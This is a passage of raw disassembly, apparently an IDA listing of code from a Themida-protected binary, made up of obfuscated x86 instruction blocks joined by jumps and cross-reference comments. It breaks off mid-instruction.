--------------------------------------------------------------------------- loc_59DBF4: ; CODE XREF: Themida_:005909CFj mov [esp], ecx mov ecx, 13EB171Fh push 3A7Bh jmp loc_5964D5 ; --------------------------------------------------------------------------- loc_59DC06: ; CODE XREF: Themida_:00592CCCj jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59DC0B: ; CODE XREF: Themida_:0059A752j mov ax, [esp] push 4A75h mov [esp], ebp push 1E06h mov [esp], esp push edi push ebx mov ebx, 4 mov edi, ebx mov ebx, [esp] add esp, 4 jmp loc_599401 ; --------------------------------------------------------------------------- loc_59DC33: ; CODE XREF: Themida_:00593505j mov edx, 4F8438E8h mov ecx, edx pop edx and ecx, 6DDE09FEh or ecx, 540B59F2h inc ecx sub ecx, 5D8F59F7h add ebx, ecx mov ecx, [esp] add esp, 4 jmp loc_59D40B ; --------------------------------------------------------------------------- loc_59DC5B: ; CODE XREF: Themida_:0059C3F0j mov [esp], eax push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_59EC10 ; --------------------------------------------------------------------------- loc_59DC85: ; CODE XREF: Themida_:005A1744j mov eax, 6FD60D4Ah shl eax, 4 not eax add eax, 3FF24822h sub eax, 0CD6A914Eh add ebp, eax pop eax jmp loc_597A8A ; --------------------------------------------------------------------------- loc_59DCA1: ; CODE XREF: Themida_:00594D6Ej xor esi, 0F75AB1C6h jmp loc_59BEBE ; --------------------------------------------------------------------------- loc_59DCAC: ; CODE XREF: Themida_:005A248Dj mov ebp, eax mov eax, [esp] add esp, 4 jmp loc_596DA2 ; --------------------------------------------------------------------------- loc_59DCB9: ; CODE XREF: Themida_:00594C4Dj mov esp, [esp] imul cx push ecx jmp loc_5970CF ; --------------------------------------------------------------------------- loc_59DCC5: ; CODE XREF: Themida_:005A2F71j mov ebp, [esp] add esp, 4 sub eax, esi mov esi, [esp] add esp, 4 jmp loc_5A1C56 ; --------------------------------------------------------------------------- loc_59DCDE: ; CODE XREF: Themida_:0059540Dj mov ebx, 79C00864h add ebx, 863FF7A0h jmp loc_59BB20 ; --------------------------------------------------------------------------- loc_59DCEE: ; CODE XREF: Themida_:0059AE4Ej pop ecx push eax xor dword ptr [esp], 30D70D9Eh mov edx, [esp] add esp, 4 push edi jmp loc_59CCFF ; --------------------------------------------------------------------------- mov ax, [esp] push 13D7h jmp loc_59A096 ; --------------------------------------------------------------------------- loc_59DD14: ; CODE XREF: Themida_:005A0E6Aj not dh dec dh add dh, 3Bh jmp loc_596036 ; --------------------------------------------------------------------------- loc_59DD20: ; CODE XREF: Themida_:005922ABj not dl inc dl dec dl add dl, 0D4h add ah, dl jmp loc_59DB65 ; --------------------------------------------------------------------------- loc_59DD30: ; CODE XREF: Themida_:005A4BE4j xor esi, 7FBF7FAEh push esi pop ecx pop esi push ecx jmp loc_59D343 ; --------------------------------------------------------------------------- loc_59DD3F: ; CODE XREF: Themida_:0059926Bj shr edx, 7 sub edx, 786323D8h jmp loc_595937 ; --------------------------------------------------------------------------- loc_59DD4D: ; CODE XREF: Themida_:00595C8Cj push ebx mov ebx, 61921C71h push esi mov esi, 27AE4C2Dh jmp loc_59ADDD ; --------------------------------------------------------------------------- loc_59DD5E: ; CODE XREF: Themida_:0059B4EFj add bl, 0C9h xor dh, bl pop ebx sub esp, 2 mov [esp], bx jmp loc_59F3C8 ; --------------------------------------------------------------------------- loc_59DD70: ; CODE XREF: Themida_:00594E06j xor eax, 69D35E05h dec eax and eax, 4D5B5AF1h add eax, 0B3E4A5D3h add esi, eax pop eax add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push edi mov edi, 28D44CE8h shl edi, 6 push 3Dh mov [esp], eax push ecx push eax jmp loc_593476 ; --------------------------------------------------------------------------- loc_59DDAD: ; CODE XREF: Themida_:005A0806j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59DDB2: ; CODE XREF: Themida_:00595A2Ej xchg ah, dl xchg cl, dl jmp loc_59403C ; --------------------------------------------------------------------------- loc_59DDBB: ; CODE XREF: Themida_:00593A4Cj add dword ptr [esp], 4 push dword ptr [esp] pop esi jmp loc_59ABD7 ; --------------------------------------------------------------------------- loc_59DDC8: ; CODE XREF: Themida_:005A2F80j shr ah, 2 sub ah, 2Fh xor cl, ah pop eax sub esp, 2 mov [esp], bx mov bl, 72h jmp loc_5A3627 ; --------------------------------------------------------------------------- loc_59DDE2: ; CODE XREF: Themida_:005A17D1j inc ebp jmp loc_5929F0 ; --------------------------------------------------------------------------- loc_59DDE8: ; CODE XREF: Themida_:005A44CEj mov ecx, [esp] add esp, 4 sub dword ptr [esp], 154015Fh sub [esp], eax add dword ptr [esp], 154015Fh sub esp, 4 jmp loc_599E68 ; --------------------------------------------------------------------------- loc_59DE07: ; CODE XREF: Themida_:00592294j mov dl, bl pop ebx xor dl, ah mov eax, [esp] jmp loc_595A33 ; --------------------------------------------------------------------------- loc_59DE14: ; CODE XREF: Themida_:00591311j push ebp push edx push edi mov edi, 533959FEh jmp loc_596A4D ; --------------------------------------------------------------------------- loc_59DE21: ; CODE XREF: Themida_:00598232j shl ebp, 6 jmp loc_59C42D ; --------------------------------------------------------------------------- loc_59DE29: ; CODE XREF: Themida_:005A0EEBj mov edx, esp add edx, 4 add edx, 4 jmp loc_596EBC ; --------------------------------------------------------------------------- loc_59DE3C: ; CODE XREF: Themida_:0059C5E8j sub al, dl add al, 81h mov dx, [esp] add esp, 2 sub esp, 4 mov [esp], edx push eax push ebx jmp loc_5A3F9E ; --------------------------------------------------------------------------- loc_59DE57: ; CODE XREF: Themida_:005A21C9j add esp, 4 jmp loc_5A30D0 ; --------------------------------------------------------------------------- push 514Eh mov [esp], ebp sub esp, 4 mov [esp], esi push ebp jmp loc_59919B ; --------------------------------------------------------------------------- loc_59DE73: ; CODE XREF: Themida_:0059E194j add edi, 14BF23BFh add edi, ebx push eax mov eax, 14BF23BFh sub edi, eax pop eax add edi, 595675DAh pop ebx push ecx push edx mov edx, 71B73468h dec edx dec edx add edx, 5E5A5BCDh neg edx xor edx, 2FEE6FC9h mov ecx, edx pop edx add edi, ecx push dword ptr [esp] pop ecx jmp loc_590C7F ; --------------------------------------------------------------------------- loc_59DEB0: ; CODE XREF: Themida_:00591923j pop ecx sub cl, 23h push ebx push eax mov al, 52h mov bh, al pop eax add bh, 0D7h sub bh, 4 jmp loc_598524 ; --------------------------------------------------------------------------- loc_59DEC6: ; CODE XREF: Themida_:005A0F8Aj pop edx mov ecx, [esp] add esp, 4 mov dl, 2Fh shl dl, 3 xor dl, 3Bh jmp loc_598C1E ; --------------------------------------------------------------------------- loc_59DEDD: ; CODE XREF: Themida_:005A344Fj mov [esp], ecx sub esp, 4 jmp loc_59C182 ; --------------------------------------------------------------------------- loc_59DEE8: ; CODE XREF: Themida_:0059A57Dj mov [esp], ebx jmp loc_59CBF5 ; --------------------------------------------------------------------------- loc_59DEF0: ; CODE XREF: Themida_:005951E3j mov eax, 15A766Ch sub esi, eax pop eax jmp loc_595F45 ; --------------------------------------------------------------------------- loc_59DEFD: ; CODE XREF: Themida_:00599CDCj pop ebx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59DF0F: ; CODE XREF: Themida_:005938A6j push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push esi mov esi, esp jmp loc_5A3BC9 ; --------------------------------------------------------------------------- loc_59DF26: ; CODE XREF: Themida_:00590A3Fj mov edi, [esp] jmp loc_5A4980 ; --------------------------------------------------------------------------- loc_59DF2E: ; CODE XREF: Themida_:005A1FF1j add esp, 4 jmp loc_5A05DF ; --------------------------------------------------------------------------- loc_59DF36: ; CODE XREF: Themida_:00594429j pop ebp add eax, 2 xchg eax, [esp] jmp loc_5921CF ; --------------------------------------------------------------------------- loc_59DF42: ; CODE XREF: Themida_:005A00CCj and eax, ebp pop ebp inc eax sub eax, 0E0000861h sub ecx, eax pop eax push 7D3Eh mov [esp], esi mov esi, ecx mov edx, esi mov esi, [esp] add esp, 4 push dword ptr [esp] pop ecx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp and ecx, edx pop edx shr ecx, 6 sub esp, 4 mov [esp], edx push 4480h mov [esp], ebx mov edx, [esp] push edi mov edi, esp jmp loc_5A3E88 ; --------------------------------------------------------------------------- loc_59DF96: ; CODE XREF: Themida_:0059727Aj add esp, 4 jmp loc_59D175 ; --------------------------------------------------------------------------- loc_59DFA1: ; CODE XREF: Themida_:0059C385j sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_598EB6 ; --------------------------------------------------------------------------- loc_59DFB6: ; CODE XREF: Themida_:0059E5D3j push 5D02h mov [esp], edx jmp loc_59299C ; --------------------------------------------------------------------------- loc_59DFC3: ; CODE XREF: Themida_:0059630Dj pop esi jmp loc_5978C4 ; --------------------------------------------------------------------------- loc_59DFC9: ; CODE XREF: Themida_:0059C47Cj sub edi, esi add edi, 0E2F1E29h pop esi or edi, 22B75A7Bh dec edi sub edi, 0E784D32Bh sub ebx, edi pop edi not ebx shl ebx, 2 shr ebx, 8 sub esp, 4 jmp loc_592B05 ; --------------------------------------------------------------------------- loc_59DFF2: ; CODE XREF: Themida_:0059C65Ej and ebx, 24859C0h or ebx, 0FA03CC2h xor ebx, 20AC71DCh or ebx, 38E478D6h add ebx, 3EB1BDF4h sub edi, 315919EEh sub edi, ebx add edi, 315919EEh pop ebx neg edi shl edi, 5 jmp loc_5A52FC ; --------------------------------------------------------------------------- loc_59E029: ; CODE XREF: Themida_:00597D7Cj add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], edi mov edi, 76310459h sub edi, 6E8C2C77h or edi, 620102B1h shr edi, 5 not edi neg edi push eax mov eax, 4BB4E2E4h add edi, eax mov eax, [esp] add esp, 4 and esi, edi jmp loc_593429 ; --------------------------------------------------------------------------- loc_59E069: ; CODE XREF: Themida_:005943D3j mov [esp], edi mov edi, 166772A4h push edx mov edx, edi jmp loc_59A4C8 ; --------------------------------------------------------------------------- loc_59E079: ; CODE XREF: Themida_:00590608j add dh, cl jmp loc_5939D7 ; --------------------------------------------------------------------------- loc_59E080: ; CODE XREF: Themida_:0059F903j mov [esp], ecx mov cl, 0A6h jmp loc_5999ED ; --------------------------------------------------------------------------- loc_59E08A: ; CODE XREF: Themida_:00598A6Aj pop ecx sub dword ptr [esp+4], 2B136B35h add [esp+4], edx add dword ptr [esp+4], 2B136B35h push dword ptr [esp] pop edx add esp, 4 jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59E0AE: ; CODE XREF: Themida_:005A3655j xor edi, ebp mov ebp, [esp] add esp, 4 push edi mov eax, [esp] add esp, 4 jmp loc_59E2E9 ; --------------------------------------------------------------------------- loc_59E0C2: ; CODE XREF: Themida_:005A3FE6j sub esi, 22614264h add esi, ecx add esi, 22614264h pop ecx jmp loc_59A74E ; --------------------------------------------------------------------------- loc_59E0D6: ; CODE XREF: Themida_:005A02C0j shr edi, 6 add edi, 44DB3182h jmp loc_5970AE ; --------------------------------------------------------------------------- loc_59E0E4: ; CODE XREF: Themida_:0059FDF7j add dword ptr [esp], 6761369Ch pop ebp sub ebp, 6761369Ch mov ebx, [esp] push esi jmp loc_5A3B4C ; --------------------------------------------------------------------------- loc_59E0FB: ; CODE XREF: Themida_:005A4F96j add esi, 4 push esi jmp loc_59447C ; --------------------------------------------------------------------------- loc_59E107: ; CODE XREF: Themida_:0059B4DBj add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push 3883h mov [esp], ecx sub esp, 4 mov [esp], esi push 4E9948AEh pop esi jmp loc_5A14FB ; --------------------------------------------------------------------------- loc_59E132: ; CODE XREF: Themida_:0059FA35j add bl, 75h pop ecx sub al, bl pop ebx pop ebx push ebx jmp loc_59A1CC ; --------------------------------------------------------------------------- loc_59E140: ; CODE XREF: Themida_:0059A4BDj mov [esp], eax push ebp push ecx jmp loc_5A3EFE ; --------------------------------------------------------------------------- loc_59E14A: ; CODE XREF: Themida_:0059AC33j xchg esi, [esp] mov esp, [esp] mov [esp], ebx mov ebx, 4 jmp loc_5977FF ; --------------------------------------------------------------------------- loc_59E15D: ; CODE XREF: Themida_:005A0CADj mov edx, esp jmp loc_596D59 ; --------------------------------------------------------------------------- loc_59E164: ; CODE XREF: Themida_:00594A2Fj mov ecx, 5F86873h xor ebp, ecx pop ecx add ebp, 8372F2DDh sub eax, 53223C59h jmp loc_595A9A ; --------------------------------------------------------------------------- loc_59E17C: ; CODE XREF: Themida_:0059284Aj shl dl, 1 neg dl sub dl, 3Ch xor cl, dl push dword ptr [esp] pop edx jmp loc_590A9F ; --------------------------------------------------------------------------- loc_59E18E: ; CODE XREF: Themida_:005A4E88j sub edi, 595675DAh jmp loc_59DE73 ; --------------------------------------------------------------------------- loc_59E199: ; CODE XREF: Themida_:005A08D5j mov esp, [esp] mov [esp], eax push esp pop eax jmp loc_593A27 ; --------------------------------------------------------------------------- loc_59E1A6: ; CODE XREF: Themida_:0059CAE3j push ebx jmp loc_5A2051 ; --------------------------------------------------------------------------- loc_59E1AC: ; CODE XREF: Themida_:00599375j add ebp, edi add ebp, 7A45758h pop edi push ebx push edi mov edi, 653D6715h shr edi, 7 and edi, 9621CAh not edi jmp loc_593E0D ; --------------------------------------------------------------------------- loc_59E1CC: ; CODE XREF: Themida_:00590A9Aj add esi, 7EC82DE9h add esi, ecx sub esi, 7EC82DE9h mov ecx, [esp] add esp, 4 add esi, 4 xchg esi, [esp] jmp loc_5983EC ; --------------------------------------------------------------------------- loc_59E1EE: ; CODE XREF: Themida_:005903D7j push ecx push ebx mov bh, ah mov cl, bh pop ebx jmp loc_59E31B ; --------------------------------------------------------------------------- loc_59E1FA: ; CODE XREF: Themida_:005A3D91j xor esi, 2A285E4Ah jmp loc_59ECA2 ; --------------------------------------------------------------------------- loc_59E205: ; CODE XREF: Themida_:0059BFD6j mov eax, 1B2D332Bh xor eax, 41B64D7Bh or eax, 19C87B52h sub eax, 60B95ACAh sub eax, 0D6B4ACE7h add edx, eax pop eax jmp loc_5938F9 ; --------------------------------------------------------------------------- loc_59E226: ; CODE XREF: Themida_:005905D8j pop esi xchg ecx, [esp] jmp loc_5943B4 ; --------------------------------------------------------------------------- loc_59E22F: ; CODE XREF: Themida_:00590B64j xchg edi, [esp] pop esp push 5B5Dh mov [esp], ebp jmp loc_596324 ; --------------------------------------------------------------------------- loc_59E240: ; CODE XREF: Themida_:005A573Dj mov [esp], eax jmp loc_595C84 ; --------------------------------------------------------------------------- loc_59E248: ; CODE XREF: Themida_:005924B9j mov [esp], ebx mov ebx, 49B65AA4h not ebx push edx push ebx mov ebx, 6743407h mov edx, ebx pop ebx sub esp, 4 mov [esp], ecx jmp loc_59A7AE ; --------------------------------------------------------------------------- loc_59E26A: ; CODE XREF: Themida_:005A1AE8j mov ebp, esp push ebx mov ebx, 40D90A74h shl ebx, 4 jmp loc_594940 ; --------------------------------------------------------------------------- loc_59E27A: ; CODE XREF: Themida_:00591117j add ah, 12h add dl, ah jmp loc_5A1348 ; --------------------------------------------------------------------------- loc_59E284: ; CODE XREF: Themida_:005961A8j sub esi, 7CA5606Ch jmp loc_596F27 ; --------------------------------------------------------------------------- loc_59E28F: ; CODE XREF: Themida_:005993D7j xor ebx, ebp pop ebp and edi, ebx pop ebx jmp loc_59F3ED ; --------------------------------------------------------------------------- loc_59E29A: ; CODE XREF: Themida_:00596C5Cj add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_59411C ; --------------------------------------------------------------------------- loc_59E2AB: ; CODE XREF: Themida_:005A2482j xor ecx, 4D812C7Dh add ecx, 646CEDEEh sub edx, 5D330264h jmp loc_5962CC ; --------------------------------------------------------------------------- mov cx, [esp] push eax mov eax, esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_599962 ; --------------------------------------------------------------------------- loc_59E2E0: ; CODE XREF: Themida_:0059935Cj mov al, 2Dh not al jmp loc_5A0D61 ; --------------------------------------------------------------------------- loc_59E2E9: ; CODE XREF: Themida_:0059E0BDj pop edi not eax add eax, 1 not eax jmp loc_5A1EB2 ; --------------------------------------------------------------------------- loc_59E2F8: ; CODE XREF: Themida_:0059C6D2j push 4E3C5E5Bh pop edx inc edx push ebx mov ebx, 55287B23h xor ebx, 24AF025Eh jmp loc_5A0377 ; --------------------------------------------------------------------------- loc_59E310: ; CODE XREF: Themida_:005904D1j or ebx, 6711785Fh jmp loc_5971D8 ; --------------------------------------------------------------------------- loc_59E31B: ; CODE XREF: Themida_:0059E1F5j mov bl, cl jmp loc_598E9E ; --------------------------------------------------------------------------- loc_59E322: ; CODE XREF: Themida_:005980E6j push esp pop esi add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi jmp loc_5A200A ; --------------------------------------------------------------------------- loc_59E338: ; CODE XREF: Themida_:005A1B4Ej xchg ebp, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59E349: ; CODE XREF: Themida_:00594754j add bl, 5Ah sub bl, 0C1h mov ecx, [esp] add esp, 4 sub bl, al sub bl, 0A1h movzx eax, al push dword ptr [edi+eax*4] mov eax, [esp] push edi push esp push dword ptr [esp] jmp loc_59E6D0 ; --------------------------------------------------------------------------- loc_59E370: ; CODE XREF: Themida_:00592A57j push 3FF5h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor [esp+4], ebx pop ebx push dword ptr [esp] pop ebx jmp loc_5A411A ; --------------------------------------------------------------------------- loc_59E398: ; CODE XREF: Themida_:0059EDCEj add esp, 4 pop dword ptr [esp] jmp loc_59FDBB ; --------------------------------------------------------------------------- loc_59E3A6: ; CODE XREF: Themida_:005A0CC3j neg eax not eax sub eax, 0A613290h sub eax, 687A7390h add eax, 10E203CBh xor ebp, eax jmp loc_591D3E ; --------------------------------------------------------------------------- loc_59E3C0: ; CODE XREF: Themida_:0059D815j push ebp push esp jmp loc_5A14C9 ; --------------------------------------------------------------------------- loc_59E3C7: ; CODE XREF: Themida_:0059ECD3j add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] jmp loc_5A2378 ; --------------------------------------------------------------------------- loc_59E3DD: ; CODE XREF: Themida_:005987E1j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_59B385 ; --------------------------------------------------------------------------- loc_59E3F4: ; CODE XREF: Themida_:005944ADj sub esp, 4 mov [esp], eax push 7F38h mov [esp], edx mov edx, 4 jmp loc_5934CB ; --------------------------------------------------------------------------- loc_59E40C: ; CODE XREF: Themida_:005986C2j or ebp, 0F592D5Ah jmp loc_5983D4 ; --------------------------------------------------------------------------- loc_59E417: ; CODE XREF: Themida_:005952A6j pop edx xor esi, [esp] jmp loc_5931AB ; --------------------------------------------------------------------------- loc_59E420: ; CODE XREF: Themida_:005981BFj pop ebp pop dword ptr [esp] pop esp jmp loc_5909A1 ; --------------------------------------------------------------------------- loc_59E42A: ; CODE XREF: Themida_:0059FB28j sub ebx, 8857C50Ch add ebp, 785B560Dh add ebp, ebx push edi push 785B560Dh pop edi sub ebp, edi mov edi, [esp] add esp, 4 pop ebx push 6294h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 jmp loc_5996E5 ; --------------------------------------------------------------------------- loc_59E460: ; CODE XREF: Themida_:00590F23j mov [esp], ebp push esp mov ebp, [esp] jmp loc_59C766 ; --------------------------------------------------------------------------- loc_59E46C: ; CODE XREF: Themida_:0059A6C7j pop dword ptr [esp] push dword ptr [esp] jmp loc_59E704 ; --------------------------------------------------------------------------- loc_59E477: ; CODE XREF: Themida_:0059A228j push eax jmp loc_5A48FE ; --------------------------------------------------------------------------- loc_59E47D: ; CODE XREF: Themida_:00594CAFj mov edi, 1DA864ECh mov ebp, 90C4B009h jmp loc_595412 ; --------------------------------------------------------------------------- loc_59E48C: ; CODE XREF: Themida_:00593145j push edi mov edi, 17CC013Eh jmp loc_59A146 ; --------------------------------------------------------------------------- loc_59E497: ; CODE XREF: Themida_:005A24EDj push ecx mov ecx, esp add ecx, 4 jmp loc_59872F ; --------------------------------------------------------------------------- loc_59E4A5: ; CODE XREF: Themida_:005A2BBEj not ebp neg ebp add ebp, 2A445D2Ah xor ebp, 54D4991Ch mov esi, ebp pop ebp not esi shr esi, 8 jmp loc_596E13 ; --------------------------------------------------------------------------- loc_59E4C2: ; CODE XREF: Themida_:005A3A59j mov edi, 0C3341CAh jmp loc_5990C9 ; --------------------------------------------------------------------------- loc_59E4CC: ; CODE XREF: Themida_:0059B5A5j push small 5A2Dh pop si and si, 70Ah jmp loc_59E798 ; --------------------------------------------------------------------------- loc_59E4DC: ; CODE XREF: Themida_:005A2960j add esp, 4 shl edx, 5 jmp loc_59D615 ; --------------------------------------------------------------------------- loc_59E4E7: ; CODE XREF: Themida_:0059D414j pop esp mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax mov edx, [esp] push 2642h mov [esp], esi mov esi, esp add esi, 4 push 2A72h mov [esp], ecx mov ecx, 4 add esi, ecx pop ecx xor esi, [esp] xor [esp], esi jmp loc_5A23E4 ; --------------------------------------------------------------------------- loc_59E524: ; CODE XREF: Themida_:00597C15j mov esi, 50E4616Ah shr esi, 7 push eax mov eax, 0FF5E3742h add esi, eax pop eax jmp loc_59954E ; --------------------------------------------------------------------------- loc_59E53A: ; CODE XREF: Themida_:005A2A31j push ecx mov ecx, 56AB72FAh jmp loc_5976D4 ; --------------------------------------------------------------------------- loc_59E545: ; CODE XREF: Themida_:0059EAB9j pop ebp push 4AAFh mov [esp], edx jmp loc_59C46C ; --------------------------------------------------------------------------- loc_59E553: ; CODE XREF: Themida_:005A0FB9j and ebp, 3A8F28E2h sub ebp, 9616D9h jmp loc_595180 ; --------------------------------------------------------------------------- loc_59E564: ; CODE XREF: Themida_:005906AFj mov [esp], esi push esp jmp loc_59E807 ; --------------------------------------------------------------------------- loc_59E56D: ; CODE XREF: Themida_:005A2987j mov ecx, 4AC101E3h mov esi, ecx pop ecx sub esi, 5F15CE2h jmp loc_59841B ; --------------------------------------------------------------------------- loc_59E580: ; CODE XREF: Themida_:0059D894j add esi, eax sub esi, 3E20635Ch sub esi, 5C5B2E0Ch mov eax, [esp] jmp loc_5A37E2 ; --------------------------------------------------------------------------- loc_59E596: ; CODE XREF: Themida_:005A1B6Aj sub dword ptr [esp], 7515752h jmp loc_5A1DC0 ; --------------------------------------------------------------------------- loc_59E5A2: ; CODE XREF: Themida_:005A53AFj add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 2BABh mov [esp], ebx push 4CEEh mov [esp], ecx sub esp, 4 mov [esp], ebx mov bl, 0AFh jmp loc_59DFB6 ; --------------------------------------------------------------------------- loc_59E5D8: ; CODE XREF: Themida_:00594F0Cj mov esp, [esp] mov cx, [esp] push 11E7h mov [esp], ecx push 41CEh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ecx add esp, 4 push eax mov eax, 4 add ecx, eax jmp loc_59088F ; --------------------------------------------------------------------------- loc_59E607: ; CODE XREF: Themida_:005916B8j xchg ebp, [esp] pop esp mov [esp], esi push edi push 2CCD1976h pop edi add edi, 7BFA1732h shr edi, 2 shr edi, 8 push esi push eax mov eax, 4BD0117Bh mov esi, eax pop eax add esi, 639C4A58h shr esi, 7 inc esi and esi, 46347AB8h add esi, 15D910h jmp loc_59BA68 ; --------------------------------------------------------------------------- loc_59E646: ; CODE XREF: Themida_:00591904j mov [esp], esi push 1 push dword ptr [esp] pop esi add esp, 4 sub esp, 4 mov [esp], eax mov eax, 24h jmp loc_5A4F54 ; --------------------------------------------------------------------------- loc_59E668: ; CODE XREF: Themida_:0059631Fj pop ebp add ecx, edi jmp loc_59B2AA ; --------------------------------------------------------------------------- loc_59E670: ; CODE XREF: Themida_:005A2BB3j push eax mov eax, 6F6F5691h sub edi, eax mov eax, [esp] add esp, 4 jmp loc_59CD99 ; --------------------------------------------------------------------------- loc_59E686: ; CODE XREF: Themida_:005993FCj sub ebx, 65273994h sub ebx, 70041FDBh sub ebx, 1894691h jmp loc_591887 ; --------------------------------------------------------------------------- loc_59E69D: ; CODE XREF: Themida_:00598F81j push dword ptr [esp] push dword ptr [esp] pop edx push edx jmp loc_595510 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_59AD74 ; --------------------------------------------------------------------------- loc_59E6BE: ; CODE XREF: Themida_:0059ED72j xor [esp], ecx xor ecx, [esp] pop esp sub esp, 4 mov [esp], ecx jmp loc_5989A8 ; --------------------------------------------------------------------------- loc_59E6D0: ; CODE XREF: Themida_:0059E36Bj pop edi add esp, 4 jmp loc_5920B5 ; --------------------------------------------------------------------------- loc_59E6DC: ; CODE XREF: Themida_:005983E7j and edx, 2F52070Ch sub esp, 4 mov [esp], ecx jmp loc_59EFD2 ; --------------------------------------------------------------------------- loc_59E6F0: ; CODE XREF: Themida_:00596760j sub ebp, esi mov esi, [esp] add esp, 4 push edi mov edi, ebp mov eax, edi pop edi pop ebp jmp loc_5A0904 ; --------------------------------------------------------------------------- loc_59E704: ; CODE XREF: Themida_:0059E472j pop esi add esp, 4 push ebx mov ebx, esp push esi mov esi, 379D08C0h jmp loc_59F7C9 ; --------------------------------------------------------------------------- loc_59E716: ; CODE XREF: Themida_:005A1A48j mov edx, eax mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_596790 ; --------------------------------------------------------------------------- mov ax, [esp] push esi mov esi, esp push edx push ebx sub esp, 4 mov [esp], esi mov esi, 2A2066EBh sub esi, 5B8F57B1h push ebp jmp loc_5999A3 ; --------------------------------------------------------------------------- lodsd cmp dword ptr [edi+20h], 0 jz loc_59C3EB push 1B30h mov [esp], edx jmp loc_5994AF ; --------------------------------------------------------------------------- loc_59E76A: ; CODE XREF: Themida_:0059770Bj xor [esp], eax xor eax, [esp] pop esp push 7B01h mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov eax, [esp] add esp, 4 jmp loc_596F6D ; --------------------------------------------------------------------------- loc_59E798: ; CODE XREF: Themida_:0059E4D7j or si, 447h xor si, 3983h push 1646h mov [esp], edx mov dx, si mov di, dx pop edx jmp loc_5A1151 ; --------------------------------------------------------------------------- loc_59E7B6: ; CODE XREF: Themida_:00592FE1j pop eax add esi, 2 push 0D11h mov [esp], esi push dword ptr [esp+4] jmp loc_595B6C ; --------------------------------------------------------------------------- loc_59E7CE: ; CODE XREF: Themida_:00591E04j mov ebx, 2 add edx, ebx jmp loc_59FE1D ; --------------------------------------------------------------------------- loc_59E7DA: ; CODE XREF: Themida_:005A10F5j mov ebx, esp add ebx, 4 jmp loc_594F6D ; --------------------------------------------------------------------------- loc_59E7E7: ; CODE XREF: Themida_:005977FAj mov dx, 2A4Ah jmp loc_5975BA ; --------------------------------------------------------------------------- loc_59E7F0: ; CODE XREF: Themida_:0059852Cj push eax mov ah, 18h add bh, ah jmp loc_59F85E ; --------------------------------------------------------------------------- loc_59E7FA: ; CODE XREF: Themida_:005947C8j sub ebx, 694505C2h add ebx, esi jmp loc_59B22D ; --------------------------------------------------------------------------- loc_59E807: ; CODE XREF: Themida_:0059E568j pop esi add esi, 4 push edx jmp loc_59393D ; --------------------------------------------------------------------------- loc_59E814: ; CODE XREF: Themida_:005A0EDFj add ebp, 0D6CBD33Bh push ebp pop eax push dword ptr [esp] jmp loc_5908DF ; --------------------------------------------------------------------------- loc_59E824: ; CODE XREF: Themida_:005A269Cj mov [esp], ecx push 713E1768h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub ecx, 1FA579F9h sub ecx, 4F7A5454h push edx jmp loc_5973B7 ; --------------------------------------------------------------------------- loc_59E851: ; CODE XREF: Themida_:00595155j mov ecx, 68716ADBh add [esp+4], ecx mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5A27D9 ; --------------------------------------------------------------------------- loc_59E86F: ; CODE XREF: Themida_:005A20D4j add esp, 4 pop ecx jmp loc_598DDA ; --------------------------------------------------------------------------- loc_59E878: ; CODE XREF: Themida_:005A10A2j mov esi, 5C8FE6B7h add edx, esi pop esi add edi, edx pop edx pop ebp push ebx push esi mov esi, 3E786EA3h push esi pop ebx pop esi add ebx, 18197D42h not ebx neg ebx not ebx push edx jmp loc_59CCBB ; --------------------------------------------------------------------------- loc_59E8A0: ; CODE XREF: Themida_:00593D35j pop esp pop dword ptr [esp] pop esp push ecx mov ecx, esp add ecx, 4 push edi push 7FF8793Bh pop edi shl edi, 2 sub edi, 0FFE1E4E8h add ecx, edi jmp loc_5995BF ; --------------------------------------------------------------------------- loc_59E8C5: ; CODE XREF: Themida_:0059EB41j xchg ecx, [esp] pop esp jmp loc_5A4908 ; --------------------------------------------------------------------------- loc_59E8CE: ; CODE XREF: Themida_:005A1E2Aj mov dh, 0Dh sub al, dh mov dx, [esp] push 5229h jmp loc_59B18A ; --------------------------------------------------------------------------- loc_59E8E0: ; CODE XREF: Themida_:0059487Bj sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi mov edi, esp add edi, 4 push ebx push ebp mov ebp, 42111BE3h jmp loc_5A23D1 ; --------------------------------------------------------------------------- loc_59E901: ; CODE XREF: Themida_:00591256j mov [esp], ebp mov ebp, 61622B45h add ebp, 7A5705DAh or ebp, 